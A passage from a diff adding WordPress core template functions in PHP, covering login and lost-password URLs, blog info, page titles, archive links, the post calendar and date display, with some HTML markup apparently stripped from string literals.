add_query_arg('redirect_to', urlencode($redirect), $login_url); + } + + return apply_filters('login_url', $login_url, $redirect); +} + +/** + * Returns the Lost Password URL. + * + * Returns the URL that allows the user to retrieve the lost password + * + * @since 2.8.0 + * @uses site_url() To generate the lost password URL + * @uses apply_filters() calls 'lostpassword_url' hook on the lostpassword url + * + * @param string $redirect Path to redirect to on login. + */ +function wp_lostpassword_url($redirect = '') { + $args = array( 'action' => 'lostpassword' ); + if ( !empty($redirect) ) { + $args['redirect_to'] = $redirect; + } + + $lostpassword_url = add_query_arg($args, site_url('wp-login.php', 'login')); + return apply_filters('lostpassword_url', $lostpassword_url, $redirect); +} + +/** + * Display the Registration or Admin link. + * + * Display a link which allows the user to navigate to the registration page if + * not logged in and registration is enabled or to the dashboard if logged in. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'register' hook on register / admin link content. + * + * @param string $before Text to output before the link (defaults to
  • ). + * @param string $after Text to output after the link (defaults to
  • ). + */ +function wp_register( $before = '
  • ', $after = '
  • ' ) { + + if ( ! is_user_logged_in() ) { + if ( get_option('users_can_register') ) + $link = $before . '' . __('Register') . '' . $after; + else + $link = ''; + } else { + $link = $before . '' . __('Site Admin') . '' . $after; + } + + echo apply_filters('register', $link); +} + +/** + * Theme container function for the 'wp_meta' action. + * + * The 'wp_meta' action can have several purposes, depending on how you use it, + * but one purpose might have been to allow for theme switching. + * + * @since 1.5.0 + * @link http://trac.wordpress.org/ticket/1458 Explanation of 'wp_meta' action. + * @uses do_action() Calls 'wp_meta' hook. + */ +function wp_meta() { + do_action('wp_meta'); +} + +/** + * Display information about the blog. + * + * @see get_bloginfo() For possible values for the parameter. + * @since 0.71 + * + * @param string $show What to display. + */ +function bloginfo($show='') { + echo get_bloginfo($show, 'display'); +} + +/** + * Retrieve information about the blog. + * + * Some show parameter values are deprecated and will be removed in future + * versions. Care should be taken to check the function contents and know what + * the deprecated blog info options are. Options without "// DEPRECATED" are + * the preferred and recommended ways to get the information. + * + * The possible values for the 'show' parameter are listed below. + *
      + *
    1. url - Blog URI to homepage.
    2. + *
    3. wpurl - Blog URI path to WordPress.
    4. + *
    5. description - Secondary title
    6. + *
    + * + * The feed URL options can be retrieved from 'rdf_url' (RSS 0.91), + * 'rss_url' (RSS 1.0), 'rss2_url' (RSS 2.0), or 'atom_url' (Atom feed). The + * comment feeds can be retrieved from the 'comments_atom_url' (Atom comment + * feed) or 'comments_rss2_url' (RSS 2.0 comment feed). + * + * There are many other options and you should check the function contents: + * {@source 32 37} + * + * @since 0.71 + * + * @param string $show Blog info to retrieve. + * @param string $filter How to filter what is retrieved. + * @return string Mostly string values, might be empty. + */ +function get_bloginfo($show = '', $filter = 'raw') { + + switch($show) { + case 'url' : + case 'home' : // DEPRECATED + case 'siteurl' : // DEPRECATED + $output = get_option('home'); + break; + case 'wpurl' : + $output = get_option('siteurl'); + break; + case 'description': + $output = get_option('blogdescription'); + break; + case 'rdf_url': + $output = get_feed_link('rdf'); + break; + case 'rss_url': + $output = get_feed_link('rss'); + break; + case 'rss2_url': + $output = get_feed_link('rss2'); + break; + case 'atom_url': + $output = get_feed_link('atom'); + break; + case 'comments_atom_url': + $output = get_feed_link('comments_atom'); + break; + case 'comments_rss2_url': + $output = get_feed_link('comments_rss2'); + break; + case 'pingback_url': + $output = get_option('siteurl') .'/xmlrpc.php'; + break; + case 'stylesheet_url': + $output = get_stylesheet_uri(); + break; + case 'stylesheet_directory': + $output = get_stylesheet_directory_uri(); + break; + case 'template_directory': + case 'template_url': + $output = get_template_directory_uri(); + break; + case 'admin_email': + $output = get_option('admin_email'); + break; + case 'charset': + $output = get_option('blog_charset'); + if ('' == $output) $output = 'UTF-8'; + break; + case 'html_type' : + $output = get_option('html_type'); + break; + case 'version': + global $wp_version; + $output = $wp_version; + break; + case 'language': + $output = get_locale(); + $output = str_replace('_', '-', $output); + break; + case 'text_direction': + global $wp_locale; + $output = $wp_locale->text_direction; + break; + case 'name': + default: + $output = get_option('blogname'); + break; + } + + $url = true; + if (strpos($show, 'url') === false && + strpos($show, 'directory') === false && + strpos($show, 'home') === false) + $url = false; + + if ( 'display' == $filter ) { + if ( $url ) + $output = apply_filters('bloginfo_url', $output, $show); + else + $output = apply_filters('bloginfo', $output, $show); + } + + return $output; +} + +/** + * Display or retrieve page title for all areas of blog. + * + * By default, the page title will display the separator before the page title, + * so that the blog title will be before the page title. This is not good for + * title display, since the blog title shows up on most tabs and not what is + * important, which is the page that the user is looking at. + * + * There are also SEO benefits to having the blog title after or to the 'right' + * or the page title. However, it is mostly common sense to have the blog title + * to the right with most browsers supporting tabs. You can achieve this by + * using the seplocation parameter and setting the value to 'right'. This change + * was introduced around 2.5.0, in case backwards compatibility of themes is + * important. + * + * @since 1.0.0 + * + * @param string $sep Optional, default is '»'. How to separate the various items within the page title. + * @param bool $display Optional, default is true. Whether to display or retrieve title. + * @param string $seplocation Optional. Direction to display title, 'right'. + * @return string|null String on retrieve, null when displaying. + */ +function wp_title($sep = '»', $display = true, $seplocation = '') { + global $wpdb, $wp_locale, $wp_query; + + $cat = get_query_var('cat'); + $tag = get_query_var('tag_id'); + $category_name = get_query_var('category_name'); + $author = get_query_var('author'); + $author_name = get_query_var('author_name'); + $m = get_query_var('m'); + $year = get_query_var('year'); + $monthnum = get_query_var('monthnum'); + $day = get_query_var('day'); + $search = get_query_var('s'); + $title = ''; + + $t_sep = '%WP_TITILE_SEP%'; // Temporary separator, for accurate flipping, if necessary + + // If there's a category + if ( !empty($cat) ) { + // category exclusion + if ( !stristr($cat,'-') ) + $title = apply_filters('single_cat_title', get_the_category_by_ID($cat)); + } elseif ( !empty($category_name) ) { + if ( stristr($category_name,'/') ) { + $category_name = explode('/',$category_name); + if ( $category_name[count($category_name)-1] ) + $category_name = $category_name[count($category_name)-1]; // no trailing slash + else + $category_name = $category_name[count($category_name)-2]; // there was a trailling slash + } + $cat = get_term_by('slug', $category_name, 'category', OBJECT, 'display'); + if ( $cat ) + $title = apply_filters('single_cat_title', $cat->name); + } + + if ( !empty($tag) ) { + $tag = get_term($tag, 'post_tag', OBJECT, 'display'); + if ( is_wp_error( $tag ) ) + return $tag; + if ( ! empty($tag->name) ) + $title = apply_filters('single_tag_title', $tag->name); + } + + // If there's an author + if ( !empty($author) ) { + $title = get_userdata($author); + $title = $title->display_name; + } + if ( !empty($author_name) ) { + // We do a direct query here because we don't cache by nicename. + $title = $wpdb->get_var($wpdb->prepare("SELECT display_name FROM $wpdb->users WHERE user_nicename = %s", $author_name)); + } + + // If there's a month + if ( !empty($m) ) { + $my_year = substr($m, 0, 4); + $my_month = $wp_locale->get_month(substr($m, 4, 2)); + $my_day = intval(substr($m, 6, 2)); + $title = "$my_year" . ($my_month ? "$t_sep$my_month" : "") . ($my_day ? "$t_sep$my_day" : ""); + } + + if ( !empty($year) ) { + $title = $year; + if ( !empty($monthnum) ) + $title .= "$t_sep" . $wp_locale->get_month($monthnum); + if ( !empty($day) ) + $title .= "$t_sep" . zeroise($day, 2); + } + + // If there is a post + if ( is_single() || ( is_home() && !is_front_page() ) || ( is_page() && !is_front_page() ) ) { + $post = $wp_query->get_queried_object(); + $title = strip_tags( apply_filters( 'single_post_title', $post->post_title ) ); + } + + // If there's a taxonomy + if ( is_tax() ) { + $taxonomy = get_query_var( 'taxonomy' ); + $tax = get_taxonomy( $taxonomy ); + $tax = $tax->label; + $term = $wp_query->get_queried_object(); + $term = $term->name; + $title = "$tax$t_sep$term"; + } + + //If it's a search + if ( is_search() ) { + /* translators: 1: separator, 2: search phrase */ + $title = sprintf(__('Search Results %1$s %2$s'), $t_sep, strip_tags($search)); + } + + if ( is_404() ) { + $title = __('Page not found'); + } + + $prefix = ''; + if ( !empty($title) ) + $prefix = " $sep "; + + // Determines position of the separator and direction of the breadcrumb + if ( 'right' == $seplocation ) { // sep on right, so reverse the order + $title_array = explode( $t_sep, $title ); + $title_array = array_reverse( $title_array ); + $title = implode( " $sep ", $title_array ) . $prefix; + } else { + $title_array = explode( $t_sep, $title ); + $title = $prefix . implode( " $sep ", $title_array ); + } + + $title = apply_filters('wp_title', $title, $sep, $seplocation); + + // Send it out + if ( $display ) + echo $title; + else + return $title; + +} + +/** + * Display or retrieve page title for post. + * + * This is optimized for single.php template file for displaying the post title. + * Only useful for posts, does not support pages for example. + * + * It does not support placing the separator after the title, but by leaving the + * prefix parameter empty, you can set the title separator manually. The prefix + * does not automatically place a space between the prefix, so if there should + * be a space, the parameter value will need to have it at the end. + * + * @since 0.71 + * @uses $wpdb + * + * @param string $prefix Optional. What to display before the title. + * @param bool $display Optional, default is true. Whether to display or retrieve title. + * @return string|null Title when retrieving, null when displaying or failure. + */ +function single_post_title($prefix = '', $display = true) { + global $wpdb; + $p = get_query_var('p'); + $name = get_query_var('name'); + + if ( intval($p) || '' != $name ) { + if ( !$p ) + $p = $wpdb->get_var($wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_name = %s", $name)); + $post = & get_post($p); + $title = $post->post_title; + $title = apply_filters('single_post_title', $title); + if ( $display ) + echo $prefix.strip_tags($title); + else + return strip_tags($title); + } +} + +/** + * Display or retrieve page title for category archive. + * + * This is useful for category template file or files, because it is optimized + * for category page title and with less overhead than {@link wp_title()}. + * + * It does not support placing the separator after the title, but by leaving the + * prefix parameter empty, you can set the title separator manually. The prefix + * does not automatically place a space between the prefix, so if there should + * be a space, the parameter value will need to have it at the end. + * + * @since 0.71 + * + * @param string $prefix Optional. What to display before the title. + * @param bool $display Optional, default is true. Whether to display or retrieve title. + * @return string|null Title when retrieving, null when displaying or failure. + */ +function single_cat_title($prefix = '', $display = true ) { + $cat = intval( get_query_var('cat') ); + if ( !empty($cat) && !(strtoupper($cat) == 'ALL') ) { + $my_cat_name = apply_filters('single_cat_title', get_the_category_by_ID($cat)); + if ( !empty($my_cat_name) ) { + if ( $display ) + echo $prefix.strip_tags($my_cat_name); + else + return strip_tags($my_cat_name); + } + } else if ( is_tag() ) { + return single_tag_title($prefix, $display); + } +} + +/** + * Display or retrieve page title for tag post archive. + * + * Useful for tag template files for displaying the tag page title. It has less + * overhead than {@link wp_title()}, because of its limited implementation. + * + * It does not support placing the separator after the title, but by leaving the + * prefix parameter empty, you can set the title separator manually. The prefix + * does not automatically place a space between the prefix, so if there should + * be a space, the parameter value will need to have it at the end. + * + * @since 2.3.0 + * + * @param string $prefix Optional. What to display before the title. + * @param bool $display Optional, default is true. Whether to display or retrieve title. + * @return string|null Title when retrieving, null when displaying or failure. + */ +function single_tag_title($prefix = '', $display = true ) { + if ( !is_tag() ) + return; + + $tag_id = intval( get_query_var('tag_id') ); + + if ( !empty($tag_id) ) { + $my_tag = &get_term($tag_id, 'post_tag', OBJECT, 'display'); + if ( is_wp_error( $my_tag ) ) + return false; + $my_tag_name = apply_filters('single_tag_title', $my_tag->name); + if ( !empty($my_tag_name) ) { + if ( $display ) + echo $prefix . $my_tag_name; + else + return $my_tag_name; + } + } +} + +/** + * Display or retrieve page title for post archive based on date. + * + * Useful for when the template only needs to display the month and year, if + * either are available. Optimized for just this purpose, so if it is all that + * is needed, should be better than {@link wp_title()}. + * + * It does not support placing the separator after the title, but by leaving the + * prefix parameter empty, you can set the title separator manually. The prefix + * does not automatically place a space between the prefix, so if there should + * be a space, the parameter value will need to have it at the end. + * + * @since 0.71 + * + * @param string $prefix Optional. What to display before the title. + * @param bool $display Optional, default is true. Whether to display or retrieve title. + * @return string|null Title when retrieving, null when displaying or failure. + */ +function single_month_title($prefix = '', $display = true ) { + global $wp_locale; + + $m = get_query_var('m'); + $year = get_query_var('year'); + $monthnum = get_query_var('monthnum'); + + if ( !empty($monthnum) && !empty($year) ) { + $my_year = $year; + $my_month = $wp_locale->get_month($monthnum); + } elseif ( !empty($m) ) { + $my_year = substr($m, 0, 4); + $my_month = $wp_locale->get_month(substr($m, 4, 2)); + } + + if ( empty($my_month) ) + return false; + + $result = $prefix . $my_month . $prefix . $my_year; + + if ( !$display ) + return $result; + echo $result; +} + +/** + * Retrieve archive link content based on predefined or custom code. + * + * The format can be one of four styles. The 'link' for head element, 'option' + * for use in the select element, 'html' for use in list (either ol or ul HTML + * elements). Custom content is also supported using the before and after + * parameters. + * + * The 'link' format uses the link HTML element with the archives + * relationship. The before and after parameters are not used. The text + * parameter is used to describe the link. + * + * The 'option' format uses the option HTML element for use in select element. + * The value is the url parameter and the before and after parameters are used + * between the text description. + * + * The 'html' format, which is the default, uses the li HTML element for use in + * the list HTML elements. The before parameter is before the link and the after + * parameter is after the closing link. + * + * The custom format uses the before parameter before the link ('a' HTML + * element) and the after parameter after the closing link tag. If the above + * three values for the format are not used, then custom format is assumed. + * + * @since 1.0.0 + * @author Orien + * @link http://icecode.com/ link navigation hack by Orien + * + * @param string $url URL to archive. + * @param string $text Archive text description. + * @param string $format Optional, default is 'html'. Can be 'link', 'option', 'html', or custom. + * @param string $before Optional. + * @param string $after Optional. + * @return string HTML link content for archive. + */ +function get_archives_link($url, $text, $format = 'html', $before = '', $after = '') { + $text = wptexturize($text); + $title_text = esc_attr($text); + $url = esc_url($url); + + if ('link' == $format) + $link_html = "\t\n"; + elseif ('option' == $format) + $link_html = "\t\n"; + elseif ('html' == $format) + $link_html = "\t
  • $before$text$after
  • \n"; + else // custom + $link_html = "\t$before$text$after\n"; + + $link_html = apply_filters( "get_archives_link", $link_html ); + + return $link_html; +} + +/** + * Display archive links based on type and format. + * + * The 'type' argument offers a few choices and by default will display monthly + * archive links. The other options for values are 'daily', 'weekly', 'monthly', + * 'yearly', 'postbypost' or 'alpha'. Both 'postbypost' and 'alpha' display the + * same archive link list, the difference between the two is that 'alpha' + * will order by post title and 'postbypost' will order by post date. + * + * The date archives will logically display dates with links to the archive post + * page. The 'postbypost' and 'alpha' values for 'type' argument will display + * the post titles. + * + * The 'limit' argument will only display a limited amount of links, specified + * by the 'limit' integer value. By default, there is no limit. The + * 'show_post_count' argument will show how many posts are within the archive. + * By default, the 'show_post_count' argument is set to false. + * + * For the 'format', 'before', and 'after' arguments, see {@link + * get_archives_link()}. The values of these arguments have to do with that + * function. + * + * @since 1.2.0 + * + * @param string|array $args Optional. Override defaults. + */ +function wp_get_archives($args = '') { + global $wpdb, $wp_locale; + + $defaults = array( + 'type' => 'monthly', 'limit' => '', + 'format' => 'html', 'before' => '', + 'after' => '', 'show_post_count' => false, + 'echo' => 1 + ); + + $r = wp_parse_args( $args, $defaults ); + extract( $r, EXTR_SKIP ); + + if ( '' == $type ) + $type = 'monthly'; + + if ( '' != $limit ) { + $limit = absint($limit); + $limit = ' LIMIT '.$limit; + } + + // this is what will separate dates on weekly archive links + $archive_week_separator = '–'; + + // over-ride general date format ? 0 = no: use the date format set in Options, 1 = yes: over-ride + $archive_date_format_over_ride = 0; + + // options for daily archive (only if you over-ride the general date format) + $archive_day_date_format = 'Y/m/d'; + + // options for weekly archive (only if you over-ride the general date format) + $archive_week_start_date_format = 'Y/m/d'; + $archive_week_end_date_format = 'Y/m/d'; + + if ( !$archive_date_format_over_ride ) { + $archive_day_date_format = get_option('date_format'); + $archive_week_start_date_format = get_option('date_format'); + $archive_week_end_date_format = get_option('date_format'); + } + + //filters + $where = apply_filters('getarchives_where', "WHERE post_type = 'post' AND post_status = 'publish'", $r ); + $join = apply_filters('getarchives_join', "", $r); + + $output = ''; + + if ( 'monthly' == $type ) { + $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC $limit"; + $key = md5($query); + $cache = wp_cache_get( 'wp_get_archives' , 'general'); + if ( !isset( $cache[ $key ] ) ) { + $arcresults = $wpdb->get_results($query); + $cache[ $key ] = $arcresults; + wp_cache_add( 'wp_get_archives', $cache, 'general' ); + } else { + $arcresults = $cache[ $key ]; + } + if ( $arcresults ) { + $afterafter = $after; + foreach ( (array) $arcresults as $arcresult ) { + $url = get_month_link( $arcresult->year, $arcresult->month ); + /* translators: 1: month name, 2: 4-digit year */ + $text = sprintf(__('%1$s %2$d'), $wp_locale->get_month($arcresult->month), $arcresult->year); + if ( $show_post_count ) + $after = ' ('.$arcresult->posts.')' . $afterafter; + $output .= get_archives_link($url, $text, $format, $before, $after); + } + } + } elseif ('yearly' == $type) { + $query = "SELECT YEAR(post_date) AS `year`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date) ORDER BY post_date DESC $limit"; + $key = md5($query); + $cache = wp_cache_get( 'wp_get_archives' , 'general'); + if ( !isset( $cache[ $key ] ) ) { + $arcresults = $wpdb->get_results($query); + $cache[ $key ] = $arcresults; + wp_cache_add( 'wp_get_archives', $cache, 'general' ); + } else { + $arcresults = $cache[ $key ]; + } + if ($arcresults) { + $afterafter = $after; + foreach ( (array) $arcresults as $arcresult) { + $url = get_year_link($arcresult->year); + $text = sprintf('%d', $arcresult->year); + if ($show_post_count) + $after = ' ('.$arcresult->posts.')' . $afterafter; + $output .= get_archives_link($url, $text, $format, $before, $after); + } + } + } elseif ( 'daily' == $type ) { + $query = "SELECT YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, DAYOFMONTH(post_date) AS `dayofmonth`, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY YEAR(post_date), MONTH(post_date), DAYOFMONTH(post_date) ORDER BY post_date DESC $limit"; + $key = md5($query); + $cache = wp_cache_get( 'wp_get_archives' , 'general'); + if ( !isset( $cache[ $key ] ) ) { + $arcresults = $wpdb->get_results($query); + $cache[ $key ] = $arcresults; + wp_cache_add( 'wp_get_archives', $cache, 'general' ); + } else { + $arcresults = $cache[ $key ]; + } + if ( $arcresults ) { + $afterafter = $after; + foreach ( (array) $arcresults as $arcresult ) { + $url = get_day_link($arcresult->year, $arcresult->month, $arcresult->dayofmonth); + $date = sprintf('%1$d-%2$02d-%3$02d 00:00:00', $arcresult->year, $arcresult->month, $arcresult->dayofmonth); + $text = mysql2date($archive_day_date_format, $date); + if ($show_post_count) + $after = ' ('.$arcresult->posts.')'.$afterafter; + $output .= get_archives_link($url, $text, $format, $before, $after); + } + } + } elseif ( 'weekly' == $type ) { + $start_of_week = get_option('start_of_week'); + $query = "SELECT DISTINCT WEEK(post_date, $start_of_week) AS `week`, YEAR(post_date) AS yr, DATE_FORMAT(post_date, '%Y-%m-%d') AS yyyymmdd, count(ID) as posts FROM $wpdb->posts $join $where GROUP BY WEEK(post_date, $start_of_week), YEAR(post_date) ORDER BY post_date DESC $limit"; + $key = md5($query); + $cache = wp_cache_get( 'wp_get_archives' , 'general'); + if ( !isset( $cache[ $key ] ) ) { + $arcresults = $wpdb->get_results($query); + $cache[ $key ] = $arcresults; + wp_cache_add( 'wp_get_archives', $cache, 'general' ); + } else { + $arcresults = $cache[ $key ]; + } + $arc_w_last = ''; + $afterafter = $after; + if ( $arcresults ) { + foreach ( (array) $arcresults as $arcresult ) { + if ( $arcresult->week != $arc_w_last ) { + $arc_year = $arcresult->yr; + $arc_w_last = $arcresult->week; + $arc_week = get_weekstartend($arcresult->yyyymmdd, get_option('start_of_week')); + $arc_week_start = date_i18n($archive_week_start_date_format, $arc_week['start']); + $arc_week_end = date_i18n($archive_week_end_date_format, $arc_week['end']); + $url = sprintf('%1$s/%2$s%3$sm%4$s%5$s%6$sw%7$s%8$d', get_option('home'), '', '?', '=', $arc_year, '&', '=', $arcresult->week); + $text = $arc_week_start . $archive_week_separator . $arc_week_end; + if ($show_post_count) + $after = ' ('.$arcresult->posts.')'.$afterafter; + $output .= get_archives_link($url, $text, $format, $before, $after); + } + } + } + } elseif ( ( 'postbypost' == $type ) || ('alpha' == $type) ) { + $orderby = ('alpha' == $type) ? "post_title ASC " : "post_date DESC "; + $query = "SELECT * FROM $wpdb->posts $join $where ORDER BY $orderby $limit"; + $key = md5($query); + $cache = wp_cache_get( 'wp_get_archives' , 'general'); + if ( !isset( $cache[ $key ] ) ) { + $arcresults = $wpdb->get_results($query); + $cache[ $key ] = $arcresults; + wp_cache_add( 'wp_get_archives', $cache, 'general' ); + } else { + $arcresults = $cache[ $key ]; + } + if ( $arcresults ) { + foreach ( (array) $arcresults as $arcresult ) { + if ( $arcresult->post_date != '0000-00-00 00:00:00' ) { + $url = get_permalink($arcresult); + $arc_title = $arcresult->post_title; + if ( $arc_title ) + $text = strip_tags(apply_filters('the_title', $arc_title)); + else + $text = $arcresult->ID; + $output .= get_archives_link($url, $text, $format, $before, $after); + } + } + } + } + if ( $echo ) + echo $output; + else + return $output; +} + +/** + * Get number of days since the start of the week. + * + * @since 1.5.0 + * @usedby get_calendar() + * + * @param int $num Number of day. + * @return int Days since the start of the week. + */ +function calendar_week_mod($num) { + $base = 7; + return ($num - $base*floor($num/$base)); +} + +/** + * Display calendar with days that have posts as links. + * + * The calendar is cached, which will be retrieved, if it exists. If there are + * no posts for the month, then it will not be displayed. + * + * @since 1.0.0 + * + * @param bool $initial Optional, default is true. Use initial calendar names. + */ +function get_calendar($initial = true) { + global $wpdb, $m, $monthnum, $year, $wp_locale, $posts; + + $cache = array(); + $key = md5( $m . $monthnum . $year ); + if ( $cache = wp_cache_get( 'get_calendar', 'calendar' ) ) { + if ( is_array($cache) && isset( $cache[ $key ] ) ) { + echo $cache[ $key ]; + return; + } + } + + if ( !is_array($cache) ) + $cache = array(); + + // Quick check. If we have no posts at all, abort! + if ( !$posts ) { + $gotsome = $wpdb->get_var("SELECT 1 as test FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'publish' LIMIT 1"); + if ( !$gotsome ) { + $cache[ $key ] = ''; + wp_cache_set( 'get_calendar', $cache, 'calendar' ); + return; + } + } + + ob_start(); + if ( isset($_GET['w']) ) + $w = ''.intval($_GET['w']); + + // week_begins = 0 stands for Sunday + $week_begins = intval(get_option('start_of_week')); + + // Let's figure out when we are + if ( !empty($monthnum) && !empty($year) ) { + $thismonth = ''.zeroise(intval($monthnum), 2); + $thisyear = ''.intval($year); + } elseif ( !empty($w) ) { + // We need to get the month from MySQL + $thisyear = ''.intval(substr($m, 0, 4)); + $d = (($w - 1) * 7) + 6; //it seems MySQL's weeks disagree with PHP's + $thismonth = $wpdb->get_var("SELECT DATE_FORMAT((DATE_ADD('${thisyear}0101', INTERVAL $d DAY) ), '%m')"); + } elseif ( !empty($m) ) { + $thisyear = ''.intval(substr($m, 0, 4)); + if ( strlen($m) < 6 ) + $thismonth = '01'; + else + $thismonth = ''.zeroise(intval(substr($m, 4, 2)), 2); + } else { + $thisyear = gmdate('Y', current_time('timestamp')); + $thismonth = gmdate('m', current_time('timestamp')); + } + + $unixmonth = mktime(0, 0 , 0, $thismonth, 1, $thisyear); + + // Get the next and previous month and year with at least one post + $previous = $wpdb->get_row("SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year + FROM $wpdb->posts + WHERE post_date < '$thisyear-$thismonth-01' + AND post_type = 'post' AND post_status = 'publish' + ORDER BY post_date DESC + LIMIT 1"); + $next = $wpdb->get_row("SELECT DISTINCT MONTH(post_date) AS month, YEAR(post_date) AS year + FROM $wpdb->posts + WHERE post_date > '$thisyear-$thismonth-01' + AND MONTH( post_date ) != MONTH( '$thisyear-$thismonth-01' ) + AND post_type = 'post' AND post_status = 'publish' + ORDER BY post_date ASC + LIMIT 1"); + + /* translators: Calendar caption: 1: month name, 2: 4-digit year */ + $calendar_caption = _x('%1$s %2$s', 'calendar caption'); + echo ' + + + '; + + $myweek = array(); + + for ( $wdcount=0; $wdcount<=6; $wdcount++ ) { + $myweek[] = $wp_locale->get_weekday(($wdcount+$week_begins)%7); + } + + foreach ( $myweek as $wd ) { + $day_name = (true == $initial) ? $wp_locale->get_weekday_initial($wd) : $wp_locale->get_weekday_abbrev($wd); + $wd = esc_attr($wd); + echo "\n\t\t"; + } + + echo ' + + + + + '; + + if ( $previous ) { + echo "\n\t\t".''; + } else { + echo "\n\t\t".''; + } + + echo "\n\t\t".''; + + if ( $next ) { + echo "\n\t\t".''; + } else { + echo "\n\t\t".''; + } + + echo ' + + + + + '; + + // Get days with posts + $dayswithposts = $wpdb->get_results("SELECT DISTINCT DAYOFMONTH(post_date) + FROM $wpdb->posts WHERE MONTH(post_date) = '$thismonth' + AND YEAR(post_date) = '$thisyear' + AND post_type = 'post' AND post_status = 'publish' + AND post_date < '" . current_time('mysql') . '\'', ARRAY_N); + if ( $dayswithposts ) { + foreach ( (array) $dayswithposts as $daywith ) { + $daywithpost[] = $daywith[0]; + } + } else { + $daywithpost = array(); + } + + if (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false || strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'camino') !== false || strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'safari') !== false) + $ak_title_separator = "\n"; + else + $ak_title_separator = ', '; + + $ak_titles_for_day = array(); + $ak_post_titles = $wpdb->get_results("SELECT post_title, DAYOFMONTH(post_date) as dom " + ."FROM $wpdb->posts " + ."WHERE YEAR(post_date) = '$thisyear' " + ."AND MONTH(post_date) = '$thismonth' " + ."AND post_date < '".current_time('mysql')."' " + ."AND post_type = 'post' AND post_status = 'publish'" + ); + if ( $ak_post_titles ) { + foreach ( (array) $ak_post_titles as $ak_post_title ) { + + $post_title = esc_attr( apply_filters( 'the_title', $ak_post_title->post_title ) ); + + if ( empty($ak_titles_for_day['day_'.$ak_post_title->dom]) ) + $ak_titles_for_day['day_'.$ak_post_title->dom] = ''; + if ( empty($ak_titles_for_day["$ak_post_title->dom"]) ) // first one + $ak_titles_for_day["$ak_post_title->dom"] = $post_title; + else + $ak_titles_for_day["$ak_post_title->dom"] .= $ak_title_separator . $post_title; + } + } + + + // See how much we should pad in the beginning + $pad = calendar_week_mod(date('w', $unixmonth)-$week_begins); + if ( 0 != $pad ) + echo "\n\t\t".''; + + $daysinmonth = intval(date('t', $unixmonth)); + for ( $day = 1; $day <= $daysinmonth; ++$day ) { + if ( isset($newrow) && $newrow ) + echo "\n\t\n\t\n\t\t"; + $newrow = false; + + if ( $day == gmdate('j', (time() + (get_option('gmt_offset') * 3600))) && $thismonth == gmdate('m', time()+(get_option('gmt_offset') * 3600)) && $thisyear == gmdate('Y', time()+(get_option('gmt_offset') * 3600)) ) + echo ''; + + if ( 6 == calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins) ) + $newrow = true; + } + + $pad = 7 - calendar_week_mod(date('w', mktime(0, 0 , 0, $thismonth, $day, $thisyear))-$week_begins); + if ( $pad != 0 && $pad != 7 ) + echo "\n\t\t".''; + + echo "\n\t\n\t\n\t
    ' . sprintf($calendar_caption, $wp_locale->get_month($thismonth), date('Y', $unixmonth)) . '
    $day_name
    « ' . $wp_locale->get_month_abbrev($wp_locale->get_month($previous->month)) . '  ' . $wp_locale->get_month_abbrev($wp_locale->get_month($next->month)) . ' » 
     
    '; + else + echo ''; + + if ( in_array($day, $daywithpost) ) // any posts today? + echo '$day"; + else + echo $day; + echo ' 
    "; + + $output = ob_get_contents(); + ob_end_clean(); + echo $output; + $cache[ $key ] = $output; + wp_cache_set( 'get_calendar', $cache, 'calendar' ); +} + +/** + * Purge the cached results of get_calendar. + * + * @see get_calendar + * @since 2.1.0 + */ +function delete_get_calendar_cache() { + wp_cache_delete( 'get_calendar', 'calendar' ); +} +add_action( 'save_post', 'delete_get_calendar_cache' ); +add_action( 'delete_post', 'delete_get_calendar_cache' ); +add_action( 'update_option_start_of_week', 'delete_get_calendar_cache' ); +add_action( 'update_option_gmt_offset', 'delete_get_calendar_cache' ); + +/** + * Display all of the allowed tags in HTML format with attributes. + * + * This is useful for displaying in the comment area, which elements and + * attributes are supported. As well as any plugins which want to display it. + * + * @since 1.0.1 + * @uses $allowedtags + * + * @return string HTML allowed tags entity encoded. + */ +function allowed_tags() { + global $allowedtags; + $allowed = ''; + foreach ( (array) $allowedtags as $tag => $attributes ) { + $allowed .= '<'.$tag; + if ( 0 < count($attributes) ) { + foreach ( $attributes as $attribute => $limits ) { + $allowed .= ' '.$attribute.'=""'; + } + } + $allowed .= '> '; + } + return htmlentities($allowed); +} + +/***** Date/Time tags *****/ + +/** + * Outputs the date in iso8601 format for xml files. + * + * @since 1.0.0 + */ +function the_date_xml() { + global $post; + echo mysql2date('Y-m-d', $post->post_date, false); +} + +/** + * Display or Retrieve the date the post was written. + * + * Will only output the date if the current post's date is different from the + * previous one output. + * + * @since 0.71 + * + * @param string $d Optional. PHP date format defaults to the date_format option if not specified. + * @param string $before Optional. Output before the date. + * @param string $after Optional. Output after the date. + * @param bool $echo Optional, default is display. Whether to echo the date or return it. + * @return string|null Null if displaying, string if retrieving. + */ +function the_date($d='', $before='', $after='', $echo = true) { + global $post, $day, $previousday; + $the_date = ''; + if ( $day != $previousday ) { + $the_date .= $before; + if ( $d=='' ) + $the_date .= mysql2date(get_option('date_format'), $post->post_date); + else + $the_date .= mysql2date($d, $post->post_date); + $the_date .= $after; + $previousday = $day; + + $the_date = apply_filters('the_date', $the_date, $d, $before, $after); + if ( $echo ) + echo $the_date; + else + return $the_date; + } +} + +/** + * Display the date on which the post was last modified. + * + * @since 2.1.0 + * + * @param string $d Optional. PHP date format. + * @return string + */ +function the_modified_date($d = '') { + echo apply_filters('the_modified_date', get_the_modified_date($d), $d); +} + +/** + * Retrieve the date on which the post was last modified. + * + * @since 2.1.0 + * + * @param string $d Optional. PHP date format. Defaults to the "date_format" option + * @return string + */ +function get_the_modified_date($d = '') { + if ( '' == $d ) + $the_time = get_post_modified_time(get_option('date_format'), null, null, true); + else + $the_time = get_post_modified_time($d, null, null, true); + return apply_filters('get_the_modified_date', $the_time, $d); +} + +/** + * Display the time at which the post was written. + * + * @since 0.71 + * + * @param string $d Either 'G', 'U', or php date 